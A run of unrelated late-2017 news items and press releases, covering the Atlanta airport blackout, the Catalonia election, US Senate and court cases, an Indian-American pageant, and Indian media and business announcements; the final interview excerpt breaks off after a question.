Were bringing everything we have to bear to the situation to make sure this doesnt happen again, Bell said Tuesday.

No conclusions have been drawn as to the cause of the fire, which took out the airports power supply and also its backup electricity for about 11 hours Sunday. The blackout stranded thousands of passengers on grounded jets and in darkened concourses and led to the cancellation of more than 1,500 flights just ahead of the frenzied holiday travel period.

Hartsfield-Jackson Atlanta International Airport, the main hub for Delta Air Lines, is a crucial cog in the nations air travel system. Delays there typically ripple across the nation because so many U.S. and international flights are routed through the Atlanta hub.

Because of the magnitude of Sundays outage, we want to be able to rule out any possible scenario that wasnt equipment malfunction, Bell said.

We really dont expect any answers like that to come forth for a few days, he said.

The power company is working with the airport to explore how to prevent the situation from happening again.

Among ideas being discussed: Encasing in concrete the area that holds key electric equipment, or moving parts of the system to other areas. The blaze took out the main power and the backup system because the fire burned through parts of both in the same underground utility tunnel, authorities have said.

Delta and other carriers said they expected to be running normally Tuesday. But passengers trying to catch Tuesday morning flights faced wait times of up to an hour just to get through the main security checkpoint in the domestic terminal, the airports website showed.

No matter how fast Delta and other airlines move, it will take a few days to get the hundreds of thousands of grounded passengers to their final destinations, said Robert Mann, president of an airline consulting firm in Port Washington, New York. In rare cases, some passengers wont arrive until Thursday, he said.

There are just so few seats available during a peak holiday week, thats just going to take a lot of flights with four or five seats apiece, Mann said.

Among the sad stories: The blackout caused Kennesaw State Universitys womens basketball team to miss a three-day tournament in Puerto Rico. After the blackout, the Owls looked for flights to the island from airports throughout the Southeast but had no luck, coach Agnus Berenato said in a statement.

On Tuesday  two days after the outage  passengers were still sleeping in the atrium area thats often used for events aimed at showcasing the worlds busiest airport. Video from news outlets showed passengers sprawled out on benches and chairs, and luggage piled up in a nearby area of the domestic terminal.

Mann said the rebooking of passengers was probably complicated by the large number of inexperienced travelers this time of year.

Theyre more elderly, theyre more young people, theyre more infrequent travelers, he said. All these folks are going to require a lot of face time, a lot of hand-holding.

Hartsfield-Jackson serves an average of 275,000 passengers a day. Nearly 2,500 planes arrive and depart each day.

___

Associated Press writers Tom Krisher in Detroit; David Koenig in Dallas; and Don Schanche Jr., Kate Brumback, Johnny Clark, and Robert Ray in Atlanta contributed to this report.
BARCELONA, Spain  Party leaders and politicians made last-ditch appeals to undecided voters in Spains Catalonia region Tuesday ahead of an election that polls indicate could be a close race between supporters of secession and political rivals who want to remain part of the country.

With opinion polls suggesting that more than 20 percent of the regions 5.5 million-strong electorate were undecided about who to support in Thursdays election, the final campaign rallies set out clear battle lines.

Ciutadans (Citizens) party leader Ines Arrimadas, the leading regional presidential candidate opposing independence, said she would bury the regions secession ambitions if she wins Thursdays election.

On Thursday, we are going to awaken from this nightmare of the independence push, Arrimadas, a 34-year-old lawyer, told a crowd of supporters.

Former regional President Carles Puigdemont, the ousted separatist leader evading Spanish justice in Brussels, vowed to return to Catalonia if hes re-elected. He depicted the vote as a showdown with Spains conservative Prime Minister Mariano Rajoy, who removed Puigdemonts government from office to block Catalan independence.

This time is not about who wins this election, its about whether the country wins or Rajoy does, Puigdemont said in a video address streamed live from the Belgian capital to supporters back home.

The contest is being held in exceptional circumstances. The Spanish government called the election when it seized control of Catalonia, dismissed its government and dissolved the regional parliament following a declaration of independence by separatist lawmakers there Oct. 27. It then called Thursdays vote.

Several members of the ousted Cabinet, including Puigdemont, campaigned from Brussels, where they sought refuge from Spanish justice. Others are in jail in Spain on provisional rebellion charges.

Marta Rovira, the No. 2 candidate for the left-wing republican ERC party in Catalonia, said her goal is to breathe fresh life into the regions secession bid. The ERC is roughly level with Ciutadans in topping pre-election opinion polls.

Our feeling is that the democratic mandate that we can obtain on Dec. 21 will be a democratic mandate, Rovira said. Because these are elections called by the Spanish government, and they wont be able to deny this democratic mandate. They will have to accept it.

The ERC rally was held in the Barcelona neighborhood where Oriol Junqueras, the partys jailed leader, lives. Junqueras, Catalonias former deputy president, was jailed in Madrid on provisional rebellion charges after backing the unilateral declaration of Catalan independence in October.

The parties of Puigdemont and Junqueras, along with a small anti-capitalist group, held a slim majority in the last parliament, enabling them to push ahead with the independence drive. It remains to be seen whether they can stick together after Thursday.

Recent polls indicate the vote will see a close race between Junqueras, Puigdemont and Ines Arrimadas of the pro-Spanish unity Ciutadans (Citizens) party.

Rajoys Popular Party has polled around 6 percent. Those of us who defend democracy, the Constitution and the law are on the good side of history, he told his supporters in Barcelona.

Polls predict that no group is expected to win a majority in the regional parliament.

I expect there to be an impasse Thursday, and we are going to face quite a few weeks of attempts to form a government, said Andrew Dowling, a specialist in Catalan history at Cardiff University in Wales.

Dowling said the campaign showed pro-secession parties still had solid support, but that the anti-independence side had come to life and posed a serious challenge.

If neither bloc secures enough seats for a parliamentary majority, the key could fall on the anti-independence socialist party, PSC, and Catalunya en Comu (Catalonia in Common), the regional brand of the far-left Podemos party, which opposes independence but wants a legally binding referendum on the issue.

Spains Rajoy has said it will return full autonomous powers to Catalonia once a law-abiding government is elected.

Polls consistently show most Catalans want the right to decide their future but are evenly divided over splitting from Spain.

___

Ciaran Giles contributed from Madrid. Barry Hatton contributed from Lisbon, Portugal.
WASHINGTON  A GOP-controlled Senate panel rebuffed President Donald Trump on Tuesday, killing the nomination of his controversial pick to run the Export-Import Bank.

Two Banking Committee Republicans, Tim Scott of South Carolina and Mike Rounds of South Dakota, joined with Democrats to shelve the nomination of former GOP Rep. Scott Garrett of New Jersey to head up the bank, which provides loans, credit insurance and loan guarantees to help foreign buyers purchase U.S. exports.

It has many GOP critics who say it distorts markets and that too much of its help benefits large corporations like Boeing. Some U.S. businesses, including airlines, say the bank effectively subsidizes foreign competitors.

But the bank has significant bipartisan support in Congress, including backing from the GOPs establishment wing, as well as outside Republican allies such as the U.S. Chamber of Commerce.

We need to both reform the Export-Import Bank and ensure it continues to function as an important tool for American businesses large and small, said Scott, whose state is home to a huge Boeing plant. Given Mr. Garretts long history opposing the Ex-Im Bank, I believe it would be hard for him to accomplish both of those goals.

Garrett voted to shutter the bank when serving in Congress and didnt apologize for his opposition when testifying at his confirmation hearing. The bank has been languishing since 2015 without the quorum of board members required to approve larger transactions.

We are disappointed that the Senate Banking Committee missed this opportunity to get the Export Import Bank fully functioning again. We will continue to work with the Committee on a path forward, said Marc Short, the White Houses director of legislative affairs.

To put it plainly, we have lost American jobs because of the games that have been played with the Export-Import Bank, said top Banking panel Democrat Sherrod Brown of Ohio. Our manufacturers and their employees dont have a level playing field when competing for overseas business  American jobs have been lost as deals stall and U.S. manufacturers consider moving their production abroad.

The panel approved several other nominees to the Ex-Im board, however.
Police have arrested a 20-year-old man who they say shot and injured his friend during a possible robbery a month and a half ago.

Joseph Sandoval is charged with aggravated battery with great bodily harm and was booked into the county jail Monday.

According to a criminal complaint filed in Metropolitan Court, on Oct. 30 police were called to the 500 block of Adams, near Washington and Lomas NE, after neighbors heard five gunshots and a man screaming for help.

When officers arrived they say they found that man, Isaac Grimm, lying on the front porch of an apartment complex with a gunshot wound to his leg.

The person who lived in the apartment was attempting to render aid for Isaac until officers were able to place a tourniquet on him, the officer wrote in the complaint. While doing so they located a handgun inside of Isaacs jacket pocket. The handgun was removed by the officers and Isaac was transported to UNMH by ambulance.

The next day, Grimm told police his friend Joe Fish, later identified as Sandoval, had offered to pick him up and hang out. But, Grimm said, when he got in the vehicle two other men were sitting in it that he didnt know. They drove to the 500 block of Adams NE.

Thats when one of the men pulled out a handgun, pointed it at him, and demanded that he give him everything that he had, according to the complaint.

Grimm told police he was afraid he was going to get shot so he grabbed the gun away from the man and shot him once or twice. Sandoval then shot Grimm in the leg and the crew sped away, according to the complaint. Grimm was left on the street.

The day after the shooting officer Tanner Tixier, a spokesman for the Albuquerque Police Department, said the other man had arrived at Presbyterian Hospital with a gunshot wound as well. That man also was expected to survive. He was not publicly identified.
NEW YORK  A prosecutor labeled a Turkish banker a liar while a defense lawyer described him as a pawn victimized by a corrupt boss as a trial that has strained relations between the U.S. and Turkey neared the finish line on Tuesday.

The fate of Halkbank executive Mehmet Hakan Atilla will rest with federal court jurors on Wednesday after a judge reads them instructions on the law.

Atilla helped Iran overcome U.S. economic sanctions to launder billions of dollars through world banks, including in the United States, Assistant U.S. Attorney Michael Lockard said. Atilla lied during three days on the witness stand to protect the state-run bank where he has worked for more than two decades and to protect his job as one of its top executives, Lockard said.

Defense attorney Victor Rocco said Atilla was a blameless pawn, collateral damage in a story that belongs in the Twilight Zone, not an American courtroom.

At the least, Roccos characterization of the prosecution and trial as unusual was accurate, regardless of the eventual verdict.

The governments star witness, wealthy gold trader Reza Zarrab, was once the primary defendant after his arrest as he arrived in the United States nearly two years ago to take his family to Disney World.

Zarrab, who is well known in Turkey because hes married to Turkish pop star and TV personality Ebru Gundes, pleaded guilty several weeks ago and cooperated with U.S. prosecutors after the failure of two prominent U.S. lawyers to reach a diplomatic solution to the case.

Zarrab testified more than a week, saying he was told that Turkish President Recep Tayyip Erdogan signed off on the scheme to help Iran evade sanctions while Erdogan was the nations prime minister.

Officials in Turkey have called the trial a charade aimed at discrediting Erdogans government. They said Zarrabs testimony was coerced, an allegation the U.S. has called ridiculous.

Halkbank said in a statement during the trial that it strictly adheres to national and international regulations in all businesses and transactions.

Rocco, as he did at the trials opening, cast Zarrab as the villain, saying he masterminded the scheme and paid tens of millions of dollars in bribes to get bank and government officials to go along with it. He called Atilla an honest man.

Hes not corrupt, Rocco said. Hes never been bribed.

Lockard challenged jurors to compare Atillas testimony with the evidence to unearth his lies.

Some of the lies were small, some of them medium, some of them were large, the prosecutor said.

He said some of the lies were whoppers.

Some of Atillas biggest lies, Lockard said, were to the U.S. Department of the Treasury after an investigation into his banks transactions with Iranian money was launched in 2013. He told jurors they could find the truth.

You have seen the evidence that the Treasury Department did not know, he said.
Shree Saini is a 21-year-old student at the University of Washington and hopes to work towards eliminating human trafficking.

By Press Trust of India: Shree Saini, a resident of Washington state, was crowned Miss India USA 2017.

The 21-year-old, who is a student at the University of Washington, said she wants to lead a life dedicated to service.

Shree, who had a pacemaker implanted at the age of 12 and was told that she would never be able dance, is an inspiration for all.

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A victim of bullying in high school, she has been campaigning against the oppressive behaviour.

Picture courtesy: Instagram/missindiausa2017

"I believe in working together to create a hole that is greater than the sum of its parts," Shree said, whose parents migrated to the US from Punjab.

She said she wants to eliminate human trafficking and work towards promoting the importance of emotional well-being in the society.

Prachi Singh, a 22-year-old medical student from Connecticut was declared the first runner-up, while North Carolinas Fareena became the second runner-up at Miss India USA 2017 pageant.

At the beauty pageant, cancer surgeon Kavita Malhotra Pattani from Florida was declared Mrs India USA 2017.

Picture courtesy: Instagram/fareena.qamar

Prerna was the first runner-up while Ishwarya was declared the second runner-up for this title.

Swapna Mannam, 17, from New Jersey was crowned with Miss Teen India USA 2017.

While Simran was the first runner-up, Kritika bagged the sash as the second runner-up.

Also Read:All you need to know about Miss World 2017 Manushi Chhillar

More than 50 contestants from over two dozen states participated in the three different pageants - Miss India USA, Miss Teen India USA and Mrs India USA.

Started by New York-based eminent Indian Americans Dharmatma Saran and Neelam Saran, under the banner of India Festival Committee around 36 years ago, Miss India USA is the longest running Indian pageant outside India.

Winners of the pageants here have gone on to act in various Bollywood movies.

Picture courtesy: Instagram/missindiausa2017

"It has evolved over the years. Earlier, the participants of pageants presented their talent around Bollywood dance and songs and classical dances. But now pageant participants come out with their own innovations.

"In addition to Bollywood dance and songs on stage, they give speeches, do motivational speaking, mono acting, sing popular American songs, hip-hop, fusion music and even do real time painting," Dharmatma Saran told PTI.

The Indian Diaspora in the United States is comprised of over 3.5 million individuals.

Attending the pageant for the first time as a judge, emerging Indian actor from Costa Rica, Prabhakar Saran said the diversity and richness of talent of these young Indian Americans makes the Diaspora proud.

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It is "amazing to see" how young Indian Americans have not only preserved but also helped the rich Indian culture thrive, he said.

--- ENDS ---
SANTA FE, N.M.  Its been 35 years since Ann Riffin, a New Jersey native, disappeared in a remote corner of New Mexico.

Her parents suspected the 33-year-old might have run off to join a cult or maybe even a convent or commune.

Where else could she have gone?

There are still many unanswered questions decades after police found her car parked off a lonely stretch of highway near Mora.

Law enforcement officials have yet to find her body or any sign of her, the Santa Fe New Mexican reported earlier this month.

Riffins family described Riffin as an introvert who didnt have a sense of where she was heading in life.

She was a troubled girl, her sister, Jane Susswein, said recently.

Riffin had been living in Ruidoso, a village in south central New Mexico, when she disappeared.

Before moving to Ruidoso, Riffin had bounced around from job to job and city to city.

At one point, she converted from Judaism to Christianity and worked at a school run by an evangelical sect.

Riffin was last seen on September 1982 heading to Colorado Springs, Colorado to visit relatives, according to police reports.

But she never made it.

Police found her car  complete with all of her belongings minus her purse  in an area known as Holman Hill.

The location of Riffins car only adds more confusion in the case, said Herman Silva, a former state police patrolman in an interview last month.

If (the car) broke down, you would pull it over to the side of the road, Silva said. Where she left it, unless you were from around there, you wouldnt even know that place was there.

It was also on a less than ideal route to get to Colorado Springs.

Thats what was so strange, Silva said.

Police searched for Riffin in hospitals, rehabilitation centers, womens shelters and a nearby commune, but had no luck.

A few years ago, a skull turned up in southern Colorado that investigators believed might have been Riffins.

Investigators took a sample of DNA from Riffins sister, Jane Susswein, but it was not a match.

A few years after Riffins disappearance, Susswein had the opportunity to visit the location where her sisters car was found decades ago.

Her visit gave her an idea of the vastness of the place where her sister never returned from.

Theres no comparison with the desolation, the remoteness of the country, she said.

___

Information from: The Santa Fe New Mexican, http://www.sfnewmexican.com
WASHINGTON  The Senate intelligence committee has asked for documents from former presidential candidate Jill Stein as part of its probe into Russian interference in the 2016 election, adding another new thread to the panels investigation as it heads into 2018.

Stein said in a statement overnight Tuesday that she was cooperating with the probe and is providing documents to the committee. She has captured the interest of investigators partly because she attended a 2015 dinner sponsored by Russian television network RT with Russian President Vladimir Putin.

The Senate intelligence committee chairman, Richard Burr, R-N.C., appeared to confirm the investigations new focus on Stein Monday evening. Asked what the committee wanted to know about from Steins campaign, Burr responded: collusion with the Russians.

The request to Stein is more evidence that the Senate panel will still have much work to do in 2018. While the investigation has largely focused on both the Russian interference and whether it was in any way connected to President Donald Trumps campaign, investigators are following multiple leads.

The top Democrat on the panel, Virginia Sen. Mark Warner, would not confirm the investigation into Stein but noted on Tuesday that she was at what he called the infamous dinner with Putin. Michael Flynn, who later became Trumps national security adviser, also attended the 2015 dinner in Moscow. He is cooperating with special counsel Robert Muellers probe into the Russian meddling and has pleaded guilty to a count of making false statements to FBI agents.

Warner also said Stein had said complimentary things about Julian Assange, the founder of WikiLeaks, who Warner said clearly was being used by the Russians to take some of the hacked information and release into our political system.

WikiLeaks released stolen emails from several Democratic officials during the campaign. Assange denies receiving the material from Russia.

Stein ran against Trump and Democrat Hillary Clinton as a member of the Green Party and received about 1 percent of the vote. She said in the statement Tuesday the documents show that she made the trip with the goal of reaching an international audience and Russian officials with a message of Middle East peace, diplomacy and cooperation against the urgent threat of climate change, consistent with long-standing Green principles and policies.

As the Senate investigation continues, the House intelligence committee is working to wrap up its own probe into the meddling early next year. Investigators are interviewing multiple people this week in hopes that they will finish most of that work before the end of the year. A final report  or two final reports, if Democrats decide to write their own  could come in early 2018.

The House intelligence committee is interviewing FBI Deputy Director Andrew McCabe on Tuesday as Republicans have charged political bias among the ranks of the FBI. They have focused on hundreds of text messages between an FBI counterintelligence agent and an FBI lawyer that show the officials using words like idiot and loathsome human to characterize Trump as he was running for president in 2016.

Peter Strzok, a veteran FBI counterintelligence agent, was removed from Muellers team over the summer following the discovery of the text messages exchanged with Lisa Page, an FBI lawyer who was also detailed to the group of agents and prosecutors investigating potential coordination between Russia and Trumps Republican campaign.

The messages were reviewed by The Associated Press.
BOSTON  A man convicted of leading an Islamic State-inspired plot to behead a conservative blogger who upset Muslims when she organized a Prophet Muhammad cartoon contest was sentenced on Tuesday to 28 years in prison.

David Wright sobbed as he apologized to blogger Pamela Geller, law enforcement and his family and denounced the terror group, whose horrific acts he used to celebrate online.

Nothing I can say can fix the hurt I caused, the 28-year-old Wright said. I sincerely hope that I can be given the opportunity to help others avoid the mistakes I made.

Wright was convicted in October of conspiracy to provide material support to the Islamic State group, conspiracy to commit acts of terrorism transcending national boundaries and other crimes.

Prosecutors had sought a life sentence for Wright, arguing it would send a strong message to others considering terror attacks in the U.S. But Judge William G. Young said he was uncomfortable with sending Wright away for life, telling him: You are not a monster, yet you embraced a monstrous evil.

Prosecutors portrayed Wright, whos from Everett, just north of Boston, as the ringleader of the conspiracy to kill Geller, who has spearheaded scores of events across the nation to decry Islamic extremism. The cartoon contest Geller organized in Garland, Texas, in 2015 ended in gunfire, with two Muslim gunmen shot to death by police.

The plot to behead Geller, of New York, was never carried out. Instead, Wrights uncle Ussamah Rahim told Wright on a recorded phone call that he decided to go after those boys in blue, referring to police. Wright told his uncle that was beautiful and encouraged him to delete all the data from his computer before carrying out his attack.

Hours later, Rahim was fatally shot by authorities after he lunged at them with a knife when they approached him in Boston.

Geller, who spoke at Wrights sentencing, urged the judge to sentence him to life and said it was impossible to overstate the devastation he had brought to her life. Geller said she had been forced to live in fear and spend tens of thousands of dollars on security.

There is no assurance that anyone can give me that he would not resume his quest to kill me and my relatives, she said.

Wrights attorneys had asked for a 16-year sentence, saying he should be given the chance to redeem himself after serving his time. Wright insisted he never really wanted to hurt anyone but pretended to support the Islamic State group to get attention online.

Prosecutors said Wright collected dozens of gruesome Islamic State videos and documents that encouraged violence against Americans, including a manifesto that said Americas days are numbered. In court documents, they accused him of trying to deceive the court into believing that he never meant any harm.

His actions gravely threatened the lives of innocent Americans, Assistant U.S. Attorney Stephanie Siegmann said.

Wright, who weighed more than 500 pounds when he was arrested, testified during the trial that he started sharing Islamic State propaganda because he was desperate for attention and an escape. But he said the plan to kill Geller was just trash talk and claimed he never believed his uncle was serious about attacking police.

The third man charged, Nicholas Rovinski, of Warwick, Rhode Island, pleaded guilty last year to conspiracy, testified against Wright and is scheduled to be sentenced on Wednesday. Prosecutors and Rovinskis defense attorney have asked the judge to sentence him to 15 years in prison.

___

Follow Alanna Durkin Richer at http://twitter.com/aedurkinricher. Read more of her work at http://bit.ly/2hIhzDb.
FLORENCE, Ariz.  A man was sentenced to more than 180 years in prison after he was convicted of shooting at a group of children outside a youth center in southern Arizona.

The Casa Grande Dispatch reports 21-year-old Rollin Johnson was sentenced Monday after a jury found him guilty last month of charges that included firing at a structure, assisting a criminal street gang and two dozen counts of aggravated assault.

Johnson and four others were arrested in May. Authorities say he fired at least 12 rounds from a handgun at a group of children and teenagers outside the Coolidge Youth Center. Two people were injured.

Some of the charges held increased penalties because they were classified as crimes against children.

Johnson declined to make a statement to the court before sentencing.

___

Information from: Casa Grande Dispatch.
New Mexico Tech is ramping up its technology transfer, entrepreneurship and innovation programs with a $100,000 boost from the New Mexico Gas Co.

The utility approved a first-time grant for the research university in Socorro this month as part of a $1 million round of donations for entrepreneurship and economic development programs around the state.

The university has greatly accelerated its tech transfer efforts since 2014, when it launched its Center for Leadership in Technology Commercialization that offers courses and hands-on experience for undergraduate and graduate students to acquire knowledge and skills to guide technologies to market.

The new grant will beef up those efforts, allowing Tech to provide seed funding for select faculty-created technologies that demonstrate particularly promising market potential, said Peter Anselmo, center director and Management Department chair.

Faculty across campus are now thinking about their research in commercial terms, Anselmo said. This grant will help us build up our pipeline of intellectual property as we talk with potential investors about licensing.

The university will also use the grant money to create two new makerspaces on and off campus. That includes turning an abandoned building in town into a new innovation center for Tech faculty and students to further develop innovative technologies, while allowing existing and aspiring entrepreneurs in the local community to pursue their own projects as well, said Tech President Stephen Wells.

Were working closely with the local community to build entrepreneurship and capability as an economic engine for development, Wells said. We want to encourage an entrepreneurial spirit on campus and off.

The university has launched a number of initiatives in recent years to build that entrepreneurial spirit, including an annual Inventors and Entrepreneurs Workshop that brings in local and national entrepreneurs and investors for educational presentations, panel discussions and a Shark Tank-style pitch competition dubbed the Wolves Den. Tech is now partnering with the ABQid Business Accelerator in Albuquerque to help prepare students from Navajo Technical University and Luna Community College for participation in the next Wolves Den in the spring, Anselmo said.

Tech also held a first-time technology showcase on campus in November with about a dozen potential investors and partners from the East and West coasts.
Ashok Leyland, flagship of the Hinduja Group, today announced the appointment of Mr. Sanjay Saraswat as the Senior Vice President & Head of Global Buses. Mr. Saraswat joins Ashok Leyland with close to 30 years of experience spanning across Manufacturing, Sales, Service, Network Development and Marketing. He is a Mechanical Engineer from IIT Delhi (1988 batch). He replaces Mr. T. Venkataraman who retired in October 2017. In this role, Mr. Saraswat will lead the Global Buses business unit and will be report to the MD, Mr. Vinod Dasari.

Mr. Vinod K. Dasari, Managing Director, Ashok Leyland, said, We are delighted to welcome Sanjay Saraswat to Ashok Leyland. He brings in-depth industry, market and cultural experience to the Companys leadership team. His exceptional knowledge of industry trends combined with his cross-section of business experience will be of tremendous value to the Company.

Mr. Sanjay Saraswat, Senior Vice President & Head, Global Buses of Ashok Leyland said, "I am excited to join the incredible team at Ashok Leyland. This brand has been doing some amazing work and delivering great results. I look forward to working with all the members who are shaping the future of our industry.

Mr. Saraswat joins Ashok Leyland from Bajaj Auto, Pune, where he was the Vice President for Sales Operations and was heading Sales Planning, Field Service, Service Planning, Network Development, Logistics, and Special Projects. He has had extensive exposure and significant learning across functions in Bajaj Auto Ltd where he joined as a Graduate Engineer Trainee in 1988.
By PTI: New Delhi, Dec 19 (PTI) The stalemate over the "conspiracy with Pakistan" charge by Prime Minister Narendra Modi against his predecessor Manmohan Singh seemed to be ending today in the Rajya Sabha as the opposition and the ruling party decided to form a panel after agreeing to the Chairs suggestion for an amicable solution.

As the Congress insisted on Modi coming to the House to clarify the statement he made during poll campaign in Gujarat and its members raised slogans and sought an apology, Chairman M Venkaiah Naidu urged the opposition and the government to talk and resolve the stalemate over the prime ministers comments on his predecessor.

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Raising the issue, Leader of Opposition Ghulam Nabi Azad said the prime minister should come to the House and clarify on what he said, as his charges that his predecessor was "conspiring" with Pakistan was "a big issue."

Azad said allegations are levelled during elections but some are not good for democracy, politics and the country. "Such allegations are deadly for those against whom they are made," he said, adding that Manmohan Singhs integrity and loyalty to the country has been questioned.

"Is he the person who is conspiring against the Indian state? Is the former prime minister, former vice president not loyal to the country? These allegations are made by no less than the prime minister.

"The prime minister of India should come to the House and explain his remarks and if the former prime minister and others are proved wrong, then action should be taken against them," he told the House amid vociferous protests by Congress members who sought an apology from Modi.

Naidu said he had held an "informal meeting" this morning "my suggestion was it is not good for the country to see that the House is not running properly.

"I myself suggested, leaders of different parties were there. ... to Parliamentary Affairs Minister to speak to Leader of House Arun Jaitley, the Leader of Opposition and other seniors also and then find a way out to end this impasse, which is in the interest of the country," Naidu said.

He also said that for democracy and parliamentary system to function, both sides should come to an understanding and move forward. "All things can be internally discussed and seen that the House functions properly and dignity of Parliament should be maintained," he said.

Agreeing to the suggestion, Azad said, "Let the meeting be held under chairmanship of Leader of the House with all leaders of other opposition parties."

He said it was not a question of Congress party, as other opposition party leaders are equally concerned. "It is a matter of privilege. It should also be to the satisfaction of Manmohan Singh," he said.

Jaitley said "we will try and explore a solution out of that. I will certainly have the privilege to invite leaders of all my colleagues including LoP and we will try and discuss and find solution for this. We will try and do it today" and suggested the formation of a committee for the purpose.

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Earlier, the chairman said Manmohan Singh had met him and expressed his concern, his feelings to him.

"I have talked to him and have understood what he meant. I have also received a note of what exactly what he said and also what the prime minister was sad by others, calling of names," he said, adding that the prime minister is the prime minister of the country and that has to be kept in mind by everybody.

Deputy leader of Congress Anand Sharma said "We want the House to function and the dignity is also maintained. It is the PMs responsibility." PTI SKC NKD ARC

--- ENDS ---
HOOQ  the largest Video on Demand service in South-East Asia, today announced the addition of the recently released Hollywood epic super hit Dunkirk by director Christopher Nolan of Interstellar, Inception and The Dark Knight Trilogy fame! Nolan fans can rent this years most acclaimed film for just Rs. 59/- (on Android devices) or Rs. 80/- (on iOS devices) exclusively on HOOQ.

This news comes on the back of the recent announcement that HOOQ now provides transactional video-on-demand (TVOD) services in India, giving HOOQ customers access to rent the latest Hollywood movies as soon as three months of its theatrical release. New movies will be available every month from top Hollywood studios including Sony Pictures and Warner Bros. ensuring that the customers can enjoy major titles such as Spider-Man: Homecoming, Wonder Woman and Baby Driver all in the comfort of their home or on any internet connected device of their choice.

The company recently announced its strategic shift to focus only on Hollywood content with offerings from both subscription video-on-demand (SVOD) and TVOD, allowing customers to access Hollywood blockbusters, hot favourites and top rated US TV series such as Supergirl, The Flash, Lucifer, The Big Bang Theory and more at a new pricing of INR 89/- per month which comes with a 30-day complimentary trial.

Salil Kapoor, Managing Director, HOOQ India, said, Indian audiences are increasingly lining up for Hollywood movies and are attracted to the variety of content that the films offer  fantasy, superhero, science fiction, horror, etc. In the past year, there has been a robust increase of in uptake of Hollywood movies across genres. However, not all Hollywood movies get a theatrical run in India and even if they make it to the big screen they are limited to only some cities. At HOOQ, we realize this gap and decided to bring more fresh Hollywood blockbuster films to our customers. The release of Christopher Nolans Dunkirk on HOOQ is a testimony of our vision to becoming the Home of Hollywood and bringing the best experience to our customers.

Dunkirk is an epic action thriller war film starring Harry Styles and Tom Hardy together with Mark Rylance, Kenneth Branagh and Cillian Murphy, that tells the story of the mass evacuation of Allied troops from the northern coast of France in 1940. This dramatic depiction and true story of the Dunkirk evacuations from a war-torn beach and harbour at the border of France and Belgium, following the seemingly doomed plight of allied soldiers in World War II and portrays the evacuation from three perspectives: land, sea, and air.

An original screenplay written and directed by Nolan, this materpiece has received glowing reviews in India and across the globe. The fact that Indian soldiers of the Royal British Army played a huge part during the evacuation of Dunkirk in 1940, makes the movie even more special for the Indian audiences.
Dr. Uday Nirgudkar has been appointed as the Group Editor Regional (West) for the Marathi news channel News18 Lokmat of the Network18 group. Uday joins the media group after completing his tenure in Zee Media where he was the Channel Head for Zee24Taas. And was the CEO and Editor-in-Chief of DNA, an English newspaper from the same group.

He has more than two decades of experience at leadership positions in various industries like Infrastructure, BPO, Education and has spent considerable time in media. Uday is a recipient of many awards for contribution and excellence in journalism. He has authored Marathi bestsellers such as Local-Global CEO and All about winning elections.

Uday is an MBA & Ph.D. from University of Pune & science graduate from Mumbai University. A prolific speaker and author, Uday has excellent understanding of socio-cultural- political fabric of Maharashtra.
Ola, Indias most popular mobility platform, today announced its partnership with Germany based Delivery Hero Group (Delivery Hero), the leading global online food ordering and delivery marketplace. This deal includes the transfer of Foodpandas India business to Ola in an acquisition deal in exchange for Ola stock. This collaboration between Indias largest online platform and a global leader in online food delivery, unlocks the power of a partnership that will help Foodpanda India grow as the most preferred online food delivery service in the country.

Foodpanda India will benefit from Olas scale and efficiencies as a platform, also having leveraged learnings from Delivery Heros global best practices. Ola and Delivery Hero will continue to collaborate on building the online food delivery ecosystem in India. Ola has also committed to invest $200mn into the Foodpanda India business, by far the largest such fund infusion in Indias online food ordering and delivery industry thus far.

Saurabh Kochhar, who was the CEO of Foodpanda India until recently has decided to move on to pursue other opportunities. Pranay Jivrajka, Founding Partner at Ola, has been appointed as interim CEO of this business unit, supported by the existing leadership team at Foodpanda India.

Bhavish Aggarwal, Co-founder and CEO at Ola, said, Im excited about our partnership with Delivery Hero as we team up to take Foodpanda India to the next level. As one of Indias pioneers in the food delivery space, Foodpanda has come to be a very efficient and profit focused business over the last couple of years. Our commitment to invest $200mn in Foodpanda India will help the business be focused on growth by creating value for customers and partners. With Delivery Heros global leadership and Olas platform capabilities with unique local insights, this partnership is born out of strength. I look forward to welcoming the Foodpanda India team to the Ola family. He added, I also thank Saurabh Kochhar for building a wonderful team at Foodpanda India over the last couple of years and wish him the very best in his new endeavours.

Niklas Ostberg, Chief Executive Officer and Co-founder of Delivery Hero AG, said, The partnership with Ola will allow us to further consolidate markets where it strategically makes sense to collaborate with leading local players. At the same time, we consider our stake in Ola as a very valuable asset, while Ola's investment commitment in Foodpanda India is a clear and confident signal to the Indian market. He added, The Foodpanda India team has done a tremendous job building the business and we look forward to supporting them and the Ola team in the future."

With menus from 15,000+ restaurants across 100+ cities in India available on its cutting edge app and website, Foodpanda is leading people discover and order great food from around them, every day.
Ever since its launch on April 16, 2017, ALTBalaji, the multi-device Video On Demand platform from Balaji Telefilms, has gone from strength to strength. The ad free, subscription based platform is available in over 80 countries, offering shows in various genres such as romance, mystery, drama, and comedy.

The platform launched its big ticket web series  Bose: Dead/Alive  in November. Starring Rajkummar Rao as Bose, the web series was heavily promoted across media.

Calling Bose: Dead/Alive, ALTBalajis biggest show of the year, Manav Sethi, CMO, ALTBalaji, said, Something of this scale has never been done before in India for a web show. The team researched for 6 months and then took another 10 months to write the show. We then took almost 8 months to shoot it across Mumbai, Leh, Kolkata, Poland and Thailand. And for first time since the launch, #ALTBalajiOriginal Bose: Dead/Alive is also available to JIO consumers on JIOCinema.

In conversation with Adgully, Manav Sethi, CMO, ALTBalaji, speaks at length on the trends and developments expected in the OTT space in 2018. He also shares the details of the making and marketing of Bose: Dead/Alive without having a big budget in hand. Excerpts:

What kind of trends do you foresee in the OTT space in 2018?

We will see a lot more regional content in the OTT space in 2018. Apple and Facebook have globally announced their entry display, but I dont know how far it will affect the Indian market. At a global level, you will see a lot more activity in 2018 apart from Netflix. Ad funded OTT platforms will have to do some soul searching, with 67 per cent of the total ad revenues online going to Facebook and Google. At the end of day, any ad funded model in order to grow has to run behind traffic and end up paying Facebook and Google, and thats kind of Holy Grail. 2018 will compel such platforms which live only on ads to focus more on creating original and good quality shows. However, this is not an easy task because India does not have a studio ecosystem in place. My belief is that in 2018 there will be only 4-5 platforms that will be focusing on creating real, emotional and entertaining stories, because at the end of day stories are more important than the platforms.

What would be the focus areas for ALTBalaji in 2018?

